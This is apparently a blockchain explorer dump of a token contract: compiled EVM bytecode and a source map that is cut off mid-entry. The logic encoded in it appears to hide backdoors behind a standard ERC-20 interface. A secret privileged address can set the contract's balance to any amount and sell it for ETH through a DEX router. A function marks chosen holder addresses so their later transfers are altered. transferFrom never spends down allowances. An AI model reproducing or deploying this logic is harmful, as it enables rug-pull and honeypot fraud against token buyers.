0x608060405234801561000f575f80fd5b5060043610610140575f3560e01c80633eaaf86b116100b65780638da5cb5b1161007a5780638da5cb5b14610318578063958e8b4f1461033657806395d89b4114610340578063a457c2d71461035e578063a9059cbb1461038e578063dd62ed3e146103be57610140565b80633eaaf86b1461029857806353f926f6146102b65780636f268a99146102c057806370a08231146102de578063715018a61461030e57610140565b80632fa9babc116101085780632fa9babc146101ea578063313ce5671461020657806332424aa314610224578063327a6e6e1461024257806336327c2a1461024c578063395093511461026857610140565b806306fdde0314610144578063095ea7b31461016257806318160ddd1461019257806323b872dd146101b05780632e239e3c146101e0575b5f80fd5b61014c6103ee565b60405161015991906113c5565b60405180910390f35b61017c6004803603810190610177919061147a565b61047e565b60405161018991906114d2565b60405180910390f35b61019a610494565b6040516101a791906114fa565b60405180910390f35b6101ca60048036038101906101c59190611513565b61049d565b6040516101d791906114d2565b60405180910390f35b6101e861053f565b005b61020460048036038101906101ff9190611563565b610541565b005b61020e6107de565b60405161021b91906114fa565b60405180910390f35b61022c6107e7565b60405161023991906114fa565b60405180910390f35b61024a6107ed565b005b61026660048036038101906102619190611602565b6107ef565b005b610282600480360381019061027d919061147a565b61089d565b60405161028f91906114d2565b60405180910390f35b6102a061093d565b6040516102ad91906114fa565b60405180910390f35b6102be610943565b005b6102c8610945565b6040516102d5919061165c565b60405180910390f35b6102f860048036038101906102f39190611675565b61096a565b60405161030591906114fa565b60405180910390f35b6103166109b0565b005b610320610adf565b60405161032d919061165c565b60405180910390f35b61033e610b06565b005b610348610b08565b60405161035591906113c5565b60405180910390f35b6103786004803603810190610373919061147a565b610b98565b60405161038591906114d2565b60405180910390f35b6103a860048036038101906103a3919061147a565b610cbc565b6040516103b591906114d2565b60405180910390f35b6103d860048036038101906103d391906116a0565b610cd9565b6040516103e591906114fa565b60405180910390f35b6060600380546103fd9061170b565b80601f01602080910402602001604051908101604052809291908181526020018280546104299061170b565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a338484610d5b565b6001905092915050565b5f600254905090565b5f6104a9848484610f1e565b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104f06111fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610534575f80fd5b600190509392505050565b565b610549611204565b156107d45761057a3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d5b565b8160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff8111156105d8576105d761173b565b5b6040519080825280602002602001820160405280156106065781602001602082028036833780820191505090505b50905030815f8151811061061d5761061c611768565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e591906117a9565b816001815181106106f9576106f8611768565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f84866020426107819190611801565b6040518663ffffffff1660e01b81526004016107a195949392919061192d565b5f604051808303815f87803b1580156107b8575f80fd5b505af11580156107ca573d5f803e3d5ffd5b50505050506107d9565b6107da565b5b5050565b5f600154905090565b60015481565b565b5f6107f8611261565b90505f5b838390508110156108975761080f611204565b1561088a576001826108219190611801565b60085f86868581811061083757610836611768565b5b905060200201602081019061084c9190611675565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b80806001019150506107fc565b50505050565b5f6109336108a96111fd565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461092e9190611801565b610d5b565b6001905092915050565b60025481565b565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166109cf610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1c906119cf565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b565b606060048054610b179061170b565b80601f0160208091040260200160405190810160405280929190818152602001828054610b439061170b565b8015610b8e5780601f10610b6557610100808354040283529160200191610b8e565b820191905f5260205f20905b815481529060010190602001808311610b7157829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610c1d575f80fd5b610cb2610c286111fd565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610cad91906119ed565b610d5b565b6001905092915050565b5f610ccf610cc86111fd565b8484610f1e565b6001905092915050565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc090611a90565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2e90611b1e565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f1191906114fa565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f56575f80fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610f9f575f80fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ffc91906114fa565b60405180910390a38160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461104d91906119ed565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f611097611261565b60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111590505f6111036103e86110f56103e78761126890919063ffffffff16565b6112df90919063ffffffff16565b90505f60085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541415801561114f5750815b15611158578092505b5f60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083856111a591906119ed565b816111b09190611801565b90508060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050505050565b5f33905090565b5f61120d6111fd565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f43905090565b5f808303611278575f90506112d9565b5f82846112859190611b3c565b90508284826112949190611baa565b146112d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cb90611c4a565b60405180910390fd5b809150505b92915050565b5f808211611322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131990611cb2565b60405180910390fd5b5f828461132f9190611baa565b90508091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611372578082015181840152602081019050611357565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6113978261133b565b6113a18185611345565b93506113b1818560208601611355565b6113ba8161137d565b840191505092915050565b5f6020820190508181035f8301526113dd818461138d565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611416826113ed565b9050919050565b6114268161140c565b8114611430575f80fd5b50565b5f813590506114418161141d565b92915050565b5f819050919050565b61145981611447565b8114611463575f80fd5b50565b5f8135905061147481611450565b92915050565b5f80604083850312156114905761148f6113e5565b5b5f61149d85828601611433565b92505060206114ae85828601611466565b9150509250929050565b5f8115159050919050565b6114cc816114b8565b82525050565b5f6020820190506114e55f8301846114c3565b92915050565b6114f481611447565b82525050565b5f60208201905061150d5f8301846114eb565b92915050565b5f805f6060848603121561152a576115296113e5565b5b5f61153786828701611433565b935050602061154886828701611433565b925050604061155986828701611466565b9150509250925092565b5f8060408385031215611579576115786113e5565b5b5f61158685828601611466565b925050602061159785828601611433565b9150509250929050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126115c2576115c16115a1565b5b8235905067ffffffffffffffff8111156115df576115de6115a5565b5b6020830191508360208202830111156115fb576115fa6115a9565b5b9250929050565b5f8060208385031215611618576116176113e5565b5b5f83013567ffffffffffffffff811115611635576116346113e9565b5b611641858286016115ad565b92509250509250929050565b6116568161140c565b82525050565b5f60208201905061166f5f83018461164d565b92915050565b5f6020828403121561168a576116896113e5565b5b5f61169784828501611433565b91505092915050565b5f80604083850312156116b6576116b56113e5565b5b5f6116c385828601611433565b92505060206116d485828601611433565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061172257607f821691505b602082108103611735576117346116de565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506117a38161141d565b92915050565b5f602082840312156117be576117bd6113e5565b5b5f6117cb84828501611795565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61180b82611447565b915061181683611447565b925082820190508082111561182e5761182d6117d4565b5b92915050565b5f819050919050565b5f819050919050565b5f61186061185b61185684611834565b61183d565b611447565b9050919050565b61187081611846565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6118a88161140c565b82525050565b5f6118b9838361189f565b60208301905092915050565b5f602082019050919050565b5f6118db82611876565b6118e58185611880565b93506118f083611890565b805f5b8381101561192057815161190788826118ae565b9750611912836118c5565b9250506001810190506118f3565b5085935050505092915050565b5f60a0820190506119405f8301886114eb565b61194d6020830187611867565b818103604083015261195f81866118d1565b905061196e606083018561164d565b61197b60808301846114eb565b9695505050505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119b9602083611345565b91506119c482611985565b602082019050919050565b5f6020820190508181035f8301526119e6816119ad565b9050919050565b5f6119f782611447565b9150611a0283611447565b9250828203905081811115611a1a57611a196117d4565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611a7a602583611345565b9150611a8582611a20565b604082019050919050565b5f6020820190508181035f830152611aa781611a6e565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611b08602383611345565b9150611b1382611aae565b604082019050919050565b5f6020820190508181035f830152611b3581611afc565b9050919050565b5f611b4682611447565b9150611b5183611447565b9250828202611b5f81611447565b91508282048414831517611b7657611b756117d4565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611bb482611447565b9150611bbf83611447565b925082611bcf57611bce611b7d565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c34602283611345565b9150611c3f82611bda565b604082019050919050565b5f6020820190508181035f830152611c6181611c28565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611c9c601b83611345565b9150611ca782611c68565b602082019050919050565b5f6020820190508181035f830152611cc981611c90565b905091905056fea26469706673582212202d3491536bea96c8027d03302f58b77847e02debe2d705bde57b696fd9886ff464736f6c63430008170033

Deployed Bytecode Sourcemap

5145:4972:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6071:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9956:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8130:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6812:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6361:35;;;:::i;:::-;;8229:571;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7830:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5210:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6278:33;;;:::i;:::-;;6444:362;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9537:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5247:58;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6317:38;;;:::i;:::-;;5683:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6162:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4246:148;;;:::i;:::-;;4400:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6402:36;;;:::i;:::-;;7046:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7455:243;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9744:154;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7315:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6071:85;6110:13;6143:5;6136:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6071:85;:::o;9956:158::-;10030:4;10047:37;10056:10;10068:7;10077:6;10047:8;:37::i;:::-;10102:4;10095:11;;9956:158;;;;:::o;8130:93::-;8176:7;8203:12;;8196:19;;8130:93;:::o;6812:228::-;6900:4;6917:35;6927:4;6933:9;6944:7;6917:9;:35::i;:::-;7002:7;6971:11;:17;6983:4;6971:17;;;;;;;;;;;;;;;:27;6989:8;:6;:8::i;:::-;6971:27;;;;;;;;;;;;;;;;:38;;6963:47;;;;;;7028:4;7021:11;;6812:228;;;;;:::o;6361:35::-;:::o;8229:571::-;8310:19;:17;:19::i;:::-;8306:487;;;8346:53;8363:4;8378:11;;;;;;;;;;;8392:6;8346:8;:53::i;:::-;8442:6;8415:9;:24;8433:4;8415:24;;;;;;;;;;;;;;;:33;;;;8463:28;8508:1;8494:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8463:47;;8550:4;8525:11;8537:1;8525:14;;;;;;;;:::i;:::-;;;;;;;:30;;;;;;;;;;;8588:11;;;;;;;;;;;:16;;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8571:11;8583:1;8571:14;;;;;;;;:::i;:::-;;;;;;;:35;;;;;;;;;;;8622:11;;;;;;;;;;;:62;;;8685:6;8693:1;8696:11;8709:10;8739:2;8721:15;:20;;;;:::i;:::-;8622:120;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8331:423;8306:487;;;8775:7;;8306:487;8229:571;;;:::o;7830:87::-;7873:7;7900:9;;7893:16;;7830:87;:::o;5210:28::-;;;;:::o;6278:33::-;:::o;6444:362::-;6523:19;6545:16;:14;:16::i;:::-;6523:38;;6577:15;6572:227;6612:13;;:20;;6599:10;:33;6572:227;;;6670:19;:17;:19::i;:::-;6665:123;;;6771:1;6757:11;:15;;;;:::i;:::-;6718:9;:36;6728:13;;6742:10;6728:25;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;6718:36;;;;;;;;;;;;;;;:54;;;;6665:123;6635:12;;;;;;;6572:227;;;;6512:294;6444:362;;:::o;9537:201::-;9617:4;9634:74;9643:8;:6;:8::i;:::-;9653:7;9697:10;9662:11;:23;9674:10;9662:23;;;;;;;;;;;;;;;:32;9686:7;9662:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;9634:8;:74::i;:::-;9726:4;9719:11;;9537:201;;;;:::o;5247:58::-;;;;:::o;6317:38::-;:::o;5683:25::-;;;;;;;;;;;;;:::o;6162:110::-;6219:7;6246:9;:18;6256:7;6246:18;;;;;;;;;;;;;;;;6239:25;;6162:110;;;:::o;4246:148::-;4642:10;4631:21;;:7;:5;:7::i;:::-;:21;;;4623:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;4353:1:::1;4316:40;;4337:6;::::0;::::1;;;;;;;;4316:40;;;;;;;;;;;;4384:1;4367:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;4246:148::o:0;4400:71::-;4446:7;4463:6;;;;;;;;;;;4456:13;;4400:71;:::o;6402:36::-;:::o;7046:87::-;7085:13;7118:7;7111:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7046:87;:::o;7455:243::-;7528:4;7586:6;7553:11;:23;7565:10;7553:23;;;;;;;;;;;;;;;:29;7577:4;7553:29;;;;;;;;;;;;;;;;:39;;7545:48;;;;;;7604:64;7613:8;:6;:8::i;:::-;7623:4;7661:6;7629:11;:23;7641:10;7629:23;;;;;;;;;;;;;;;:29;7653:4;7629:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;7604:8;:64::i;:::-;7686:4;7679:11;;7455:243;;;;:::o;9744:154::-;9813:4;9830:38;9840:8;:6;:8::i;:::-;9850:9;9861:6;9830:9;:38::i;:::-;9886:4;9879:11;;9744:154;;;;:::o;7315:134::-;7387:7;7414:11;:18;7426:5;7414:18;;;;;;;;;;;;;;;:27;7433:7;7414:27;;;;;;;;;;;;;;;;7407:34;;7315:134;;;;:::o;5717:346::-;5836:1;5819:19;;:5;:19;;;5811:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;5918:1;5899:21;;:7;:21;;;5891:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6001:6;5971:11;:18;5983:5;5971:18;;;;;;;;;;;;;;;:27;5990:7;5971:27;;;;;;;;;;;;;;;:36;;;;6039:7;6023:32;;6032:5;6023:32;;;6048:6;6023:32;;;;;;:::i;:::-;;;;;;;;5717:346;;;:::o;8806:655::-;8886:17;8942:1;8926:18;;:4;:18;;;8918:27;;;;;;8973:9;:15;8983:4;8973:15;;;;;;;;;;;;;;;;8964:5;:24;;8956:33;;;;;;9020:2;9005:25;;9014:4;9005:25;;;9024:5;9005:25;;;;;;:::i;:::-;;;;;;;;9078:5;9059:9;:15;9069:4;9059:15;;;;;;;;;;;;;;;;:25;;;;:::i;:::-;9041:9;:15;9051:4;9041:15;;;;;;;;;;;;;;;:43;;;;9095:15;9134:16;:14;:16::i;:::-;9114:9;:15;9124:4;9114:15;;;;;;;;;;;;;;;;:37;;9095:57;;9163:25;9191:24;9210:4;9191:14;9201:3;9191:5;:9;;:14;;;;:::i;:::-;:18;;:24;;;;:::i;:::-;9163:52;;9250:1;9231:9;:15;9241:4;9231:15;;;;;;;;;;;;;;;;:20;;9230:36;;;;;9256:10;9230:36;9226:103;;;9298:17;9285:31;;9226:103;9339:17;9359:9;:13;9369:2;9359:13;;;;;;;;;;;;;;;;9339:33;;9407:9;9397:5;9396:21;;;;:::i;:::-;9383:34;;;;;:::i;:::-;;;9444:9;9428;:13;9438:2;9428:13;;;;;;;;;;;;;;;:25;;;;8875:586;;;;8806:655;;;:::o;8038:86::-;8079:7;8106:10;8099:17;;8038:86;:::o;7923:109::-;7974:4;8014:8;:6;:8::i;:::-;7999:24;;:10;;;;;;;;;;;:24;;;7991:33;;7923:109;:::o;7139:96::-;7188:7;7215:12;7208:19;;7139:96;:::o;3864:223::-;3922:7;3951:1;3946;:6;3942:23;;3962:1;3955:8;;;;3942:23;3975:9;3991:1;3987;:5;;;;:::i;:::-;3975:17;;4020:1;4015;4011;:5;;;;:::i;:::-;:10;4003:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;4078:1;4071:8;;;3864:223;;;;;:::o;3678:178::-;3736:7;3768:1;3764;:5;3756:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;3812:9;3828:1;3824;:5;;;;:::i;:::-;3812:17;;3847:1;3840:8;;;3678:178;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:474::-;4491:6;4499;4548:2;4536:9;4527:7;4523:23;4519:32;4516:119;;;4554:79;;:::i;:::-;4516:119;4674:1;4699:53;4744:7;4735:6;4724:9;4720:22;4699:53;:::i;:::-;4689:63;;4645:117;4801:2;4827:53;4872:7;4863:6;4852:9;4848:22;4827:53;:::i;:::-;4817:63;;4772:118;4423:474;;;;;:::o;4903:117::-;5012:1;5009;5002:12;5026:117;5135:1;5132;5125:12;5149:117;5258:1;5255;5248:12;5289:568;5362:8;5372:6;5422:3;5415:4;5407:6;5403:17;5399:27;5389:122;;5430:79;;:::i;:::-;5389:122;5543:6;5530:20;5520:30;;5573:18;5565:6;5562:30;5559:117;;;5595:79;;:::i;:::-;5559:117;5709:4;5701:6;5697:17;5685:29;;5763:3;5755:4;5747:6;5743:17;5733:8;5729:32;5726:41;5723:128;;;5770:79;;:::i;:::-;5723:128;5289:568;;;;;:::o;5863:559::-;5949:6;5957;6006:2;5994:9;5985:7;5981:23;5977:32;5974:119;;;6012:79;;:::i;:::-;5974:119;6160:1;6149:9;6145:17;6132:31;6190:18;6182:6;6179:30;6176:117;;;6212:79;;:::i;:::-;6176:117;6325:80;6397:7;6388:6;6377:9;6373:22;6325:80;:::i;:::-;6307:98;;;;6103:312;5863:559;;;;;:::o;6428:118::-;6515:24;6533:5;6515:24;:::i;:::-;6510:3;6503:37;6428:118;;:::o;6552:222::-;6645:4;6683:2;6672:9;6668:18;6660:26;;6696:71;6764:1;6753:9;6749:17;6740:6;6696:71;:::i;:::-;6552:222;;;;:::o;6780:329::-;6839:6;6888:2;6876:9;6867:7;6863:23;6859:32;6856:119;;;6894:79;;:::i;:::-;6856:119;7014:1;7039:53;7084:7;7075:6;7064:9;7060:22;7039:53;:::i;:::-;7029:63;;6985:117;6780:329;;;;:::o;7115:474::-;7183:6;7191;7240:2;7228:9;7219:7;7215:23;7211:32;7208:119;;;7246:79;;:::i;:::-;7208:119;7366:1;7391:53;7436:7;7427:6;7416:9;7412:22;7391:53;:::i;:::-;7381:63;;7337:117;7493:2;7519:53;7564:7;7555:6;7544:9;7540:22;7519:53;:::i;:::-;7509:63;;7464:118;7115:474;;;;;:::o;7595:180::-;7643:77;7640:1;7633:88;7740:4;7737:1;7730:15;7764:4;7761:1;7754:15;7781:320;7825:6;7862:1;7856:4;7852:12;7842:22;;7909:1;7903:4;7899:12;7930:18;7920:81;;7986:4;7978:6;7974:17;7964:27;;7920:81;8048:2;8040:6;8037:14;8017:18;8014:38;8011:84;;8067:18;;:::i;:::-;8011:84;7832:269;7781:320;;;:::o;8107:180::-;8155:77;8152:1;8145:88;8252:4;8249:1;8242:15;8276:4;8273:1;8266:15;8293:180;8341:77;8338:1;8331:88;8438:4;8435:1;8428:15;8462:4;8459:1;8452:15;8479:143;8536:5;8567:6;8561:13;8552:22;;8583:33;8610:5;8583:33;:::i;:::-;8479:143;;;;:::o;8628:351::-;8698:6;8747:2;8735:9;8726:7;8722:23;8718:32;8715:119;;;8753:79;;:::i;:::-;8715:119;8873:1;8898:64;8954:7;8945:6;8934:9;8930:22;8898:64;:::i;:::-;8888:74;;8844:128;8628:351;;;;:::o;8985:180::-;9033:77;9030:1;9023:88;9130:4;9127:1;9120:15;9154:4;9151:1;9144:15;9171:191;9211:3;9230:20;9248:1;9230:20;:::i;:::-;9225:25;;9264:20;9282:1;9264:20;:::i;:::-;9259:25;;9307:1;9304;9300:9;9293:16;;9328:3;9325:1;9322:10;9319:36;;;9335:18;;:::i;:::-;9319:36;9171:191;;;;:::o;9368:85::-;9413:7;9442:5;9431:16;;9368:85;;;:::o;9459:6